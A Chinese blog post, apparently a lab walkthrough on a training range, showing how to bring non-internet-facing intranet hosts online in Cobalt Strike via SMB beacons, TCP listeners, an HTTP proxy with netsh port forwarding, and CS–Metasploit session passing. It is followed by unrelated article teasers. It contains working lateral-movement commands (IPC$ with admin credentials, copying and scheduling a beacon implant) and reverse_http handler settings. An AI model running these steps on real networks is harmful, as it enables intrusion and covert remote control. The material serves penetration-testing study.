前言

出网or不出网?

目标可以正常访问互联网,可直接在目标机挂socks代理或直接CS上线。而更多的情况是,内网中的服务器和主机不通外网,这样通常情况是无法直接实现CS上线操作的。

不出网的原因无外乎两种:

  • 网络协议被限制

  • 网络通信不通

解决办法也有两种:

  • 隧道技术:将一种网络协议的数据封装在另一种网络协议的数据包中传输,绕过网络协议的限制

  • 代理技术:利用出网的跳板机作为代理,间接上线不出网的主机

环境搭建:

内网环境继续使用之前的红日靶场:作为web服务器的win7主机采用双网卡,内网windows 2008不出网。

smb beacon上线

官网介绍:

SMB Beacon使用命名管道通过父级Beacon进行通信,当两个Beacon连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacon使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

上面这个图就可以说明它们之间的关系,上线跳板机的是父Beacon,SMB Beacon作为子Beacon获取任务通过SMB隧道发送给目标主机。

SMB Beacon的使用条件如下:

  • 具有SMB Beacon的主机必须接受445端口上的连接

  • 只能链接由同一个CobaltStrike实例管理的Beacon

  • 利用这种Beacon横移必须有目标主机的管理员权限或者拥有具有管理员权限的凭据

使用HTTP Beacon上线win7跳板机:

创建一个SMB Beacon监听器:

进入Beacon控制台,输入spawn SMB Beacon的监听器名称派生会话,运行成功后在external中可以看到IP后有个∞∞字符的派生SMB Beacon。

下一步利用派生的SMB Beacon来上线不出网主机,前提是已知目标机器的管理员账号的明文密码或密码哈希,利用SMB Beacon正向连接让其上线。

抓取hash和明文密码,获取密码凭证,选择目标主机OWA(win 2008)选择使用psexec64横向移动:

内网OWA主机成功上线:

运行成功后在external中可以看到IP后有个∞∞字符,这是派生的SMB Beacon。

tcp listener转发上线

在已上线的win7跳板机创建listener,设置监听器代理转发:

转发监听器可以利用己攻陷的win7作为代理,为其他Beacon会话的中转网络流量:

生成一个stageless木马:

将木马上传至win7跳板机:

与目标主机建立IPC$连接:

shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"

将win7跳板机的木马文件copy到目标主机的C共享盘下:

shell copy C:\phpStudy\WWW\beacon_x64.exe \\192.168.52.138\C$

远程创建目标主机计划任务执行木马:

shell schtasks /create /s 192.168.52.138 /u Administrator /p "hongrisec@2019" /sc MINUTE /mo 1 /tn test /tr "C:\beacon_x64.exe"

此时跳板机4444端口监听器会等待目标主机木马反弹连接,然后将流量转发到cs上线。

http代理上线

需要使用到代理工具goproxy来搭建http代理,项目地址:https://github.com/snail007/goproxy

上传proxy.exe到web服务器,在8080端口开启http代理:

shell C:\phpStudy\WWW\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

然后再使用netsh命令在win7跳板机上做一个端口转发,将内网的822端口转发到外网的8080上:

netsh interface portproxy add v4tov4 listenaddress=192.168.52.143 listenport=3422 connectaddress=192.168.88.146 connectport=8080

设置一个HTTP Beacon监听器,http代理设置为win7跳板机内网的822端口:

生成一个stageless木马,选择为刚才设置过http代理的监听器:

然后将生成的木马上传至win7跳板机,再由跳板机与目标主机建立IPC$连接,将木马上传到目标主机,远程创建目标机计划任务执行木马。

木马会去连接822端口,win7再将822端口的http流量转发到外网的8080,最后由8080端口将流量转发到cs上线。

连接过程:

192.168.52.138(OWA) --> 192.168.52.143:822 --> 192.168.88.146:8080 --> 192.168.88.128:81(CS)

遇到一个很头疼的问题,当执行netsh命令后,在0.0.0.0监听的8080就消失了......

tcp beacon正向连接上线

tcp beacon正向连接和smb上线很类似,smb beacon是主动连接目标主机445端口建立smb隧道。而tcp正向连接是利用已上线跳板机主动与上传了木马的目标主机建立tcp连接,从而上线目标主机。

设置一个tcp正向连接的监听器:

使用tcp正向连接的监听器生成stageless木马:

还是上面一样,还是利用跳板机与目标主机建立IPC$连接,上传木马到目标主机:

shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"

shell copy C:\phpStudy\WWW\b_beacon_x64.exe \\192.168.52.138\C$

跳板机执行connect指令连接目标主机木马:

内网OWA主机成功上线。

题外话 — cs和msf的权限传递

当目标上线cs以后,可以轻松地将cs权限转移到msf上,继续借助msf完成后续的渗透。

环境:msf6 + cs4.8

cs派生给msf

1)在msf上启用reverse_http模块监听本地端口:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.88.128
set lport 4444

2)在cs上创建一个foreign http监听,ip和端口设置为msf监听的ip和端口:

Foreign监听器支持与其他软件的监听器进行派生(spawn)

3)右键 —> 凭证提权 —> 新建会话 —> 选择创建的foreign http监听:

msf成功拿到会话:

msf派生给cs

条件:msf已获取meterpreter shell

在cs上创建一个http beacon的监听器:

msf启用payload_inject模块,将ip和端口设置为cs监听的ip和端口:

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.88.128
set lport 4567
set session 1
set DisablePayloadHandler true

注意:msf的payload和cs的监听器要保持一致

cs成功拿到会话:

总结:

对于这种边缘主机可以出网的情况,主要思路就是借助边缘的跳板机反向代理把内网主机带出来,再或者是跳板机正向去连接内网主机。反向代理的一个缺点就是,内网主机在出网的时候需要经过各种转发,所谓步骤越多就越容易失败......个人感觉在内网渗透时条件允许的情况下,首选正向连接,会比较稳定。

参考文章:

https://xz.aliyun.com/t/13918

https://xz.aliyun.com/t/8671


若有错误,欢迎指正!o( ̄▽ ̄)ブ

内网渗透之不出网上线CobaltStrike技巧的更多相关文章

  1. wooyun内网渗透教学分享之内网信息探测和后渗透准备

    常规的,从web业务撕开口子url:bit.tcl.comgetshell很简单,phpcms的,一个Phpcms V9 uc api SQL的老洞直接getshell,拿到shell,权限很高,sy ...

  2. frp内网渗透实现ssh外网访问家里树莓派(树莓派raspbian系统+腾讯云contos7)

    只有信用卡大小的它,同时也是一台功能完备的电脑(树莓派),把内网能玩的功能都玩了个遍,自然就有了外网访问这台树莓派的需求.一样也是查阅了无数文章,研究了无数个方案,最终试验成功用FRP实现了内网穿透, ...

  3. linux内网IP如果判断出网IP地址

    [root@jumpserver ~]# curl https://ip.cn当前 IP: 162.14.210.16 来自: 河南省郑州市 xx网络

  4. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  5. beef + msf 实现内网渗透

    在内网渗透方面,最为大众所知道的就是xp系统的ms08067漏洞,通过这个漏洞可以对未打上补丁的xp系统实现getshell, 但是经过笔者发现,这种漏洞攻击在被攻击机开上windows防火墙的时候是 ...

  6. [原创]Ladon5.7大型内网渗透综合漏洞扫描器

    Ladon LadonGUI Cobalt Strike PowerLadon PythonLadon LinuxLadon 使用说明 ID 主题 URL 1 Ladon文档主页 https://gi ...

  7. 内网渗透之vlunstack靶场

    前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...

  8. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  9. 内网渗透 关于GPO

    网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...

  10. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

随机推荐

  1. Maven 打 JAR 包

    项目和依赖分别打入独立 JAR 包 使用 Maven Jar Plugin 插件,可以将项目自身单独打成一个 JAR 包,项目依赖的 JAR 包统一放置到指定目录. 在项目的 pom.xml 中添加如 ...

  2. 使用JDBC查询数据库会一次性加载所有数据吗

    前几天有个小伙伴说他有个疑问:当我们发起一个查询的时候,数据库服务器是把所有结果集都准备好,然后一次性返回给应用程序服务吗(因为他们生产有个服务因为一个报表查询搞宕机了). 这样想的原因很简单,假设那 ...

  3. Chrome扩展插件的开发--获取网页Cookies

    Chrome扩展插件的开发--获取网页Cookies Chrome浏览器在浏览器类应用软件中一直居于榜首,很多人选择Chrome浏览器不仅仅是因为它的稳定,还有它丰富的可拓展性.那么有没有想自己开发一 ...

  4. c++学习笔记(一):内存分区模型

    目录 内存分区模型 程序运行前 程序运行后 new操作符 内存分区模型 c++在执行时,将内存大方向划分为4个区域 代码区:存放函数体的二进制代码,由操作系统进行管理(编写的所有代码都会存放到该处) ...

  5. Figma 学习笔记 – Team Library Style and Component

    Design System 我们做设计通常会 Follow 一个 Design System, 比如 Material Guide. 里头会定义 Font, Color, Effect (Elevat ...

  6. QT6框架WebEngine模块之WebEngine总体介绍以及WebEngine能做什么?

    QT6框架WebEngine模块之WebEngine总体介绍以及WebEngine能做什么? 简介 本文简略介绍QT6框架WebEngine模块之WebEngine总体介绍以及WebEngine能做什 ...

  7. Qt中一些关于中文的使用

    本文包含以下内容: 中文编码 按中文字典排序 中文首字母查找 版本:Qt5.14.2 中文编码     在一些老项目中,发现项目中使用的文件是GBK编码,而新项目使用的是Unicode编码,在有一些操 ...

  8. 2024 年 C# 高效开发:精选实用类库

    前言 在平时开发中,好的类库能帮助我们快速实现功能,C#有很多封装好的类库. 本文将介绍一些2024年特别受欢迎的C#类库,并分析各自的优点让我们编程写代码变的更轻松.更快捷. 快来看一看有没有大家常 ...

  9. Android平台下的cpu利用率优化实现

    目录 背景 CPU调频 概念 实现 验证 线程CPU亲和性 概念 亲和性控制 API 应用层控制实现 验证 线程优先级 概念 实现 验证 背景 为了进一步优化APP性能,最近针对如何提高应用对CPU的 ...

  10. html5新标签 画布 canvas 替代了 flash

    绘制矩形边框,和填充不同的是绘制使用的是strokeRect, 和strokeStyle实现的 绘制路径 绘制路径的作用是为了设置一个不规则的多边形状态 路径都是闭合的,使用路径进行绘制的时候需要既定 ...